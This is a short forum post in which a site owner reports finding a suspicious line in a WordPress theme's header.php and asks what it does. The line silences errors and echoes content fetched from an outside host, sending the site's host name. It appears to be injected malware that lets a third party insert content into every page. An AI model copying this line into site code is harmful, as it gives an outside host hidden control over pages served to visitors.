Thanks for the suggestions, I was able to identify the issue by tediously going file by file and removing bits of the code and testing it. I checked the theme files after disabling plugins did not fix the issue.
The problem seems to be coming from header.php, specifically this bit of code:
<?php error_reporting(0); echo @file_get_contents("https://netanalytic.com/linkadmin/tracker/tracker.php?h= ".$_SERVER['HTTP_HOST']."&id=28");?>
Once I commented out that bit of code the site was loading just fine. Anyone have any idea what that code is/does?
Thanks for all the help!
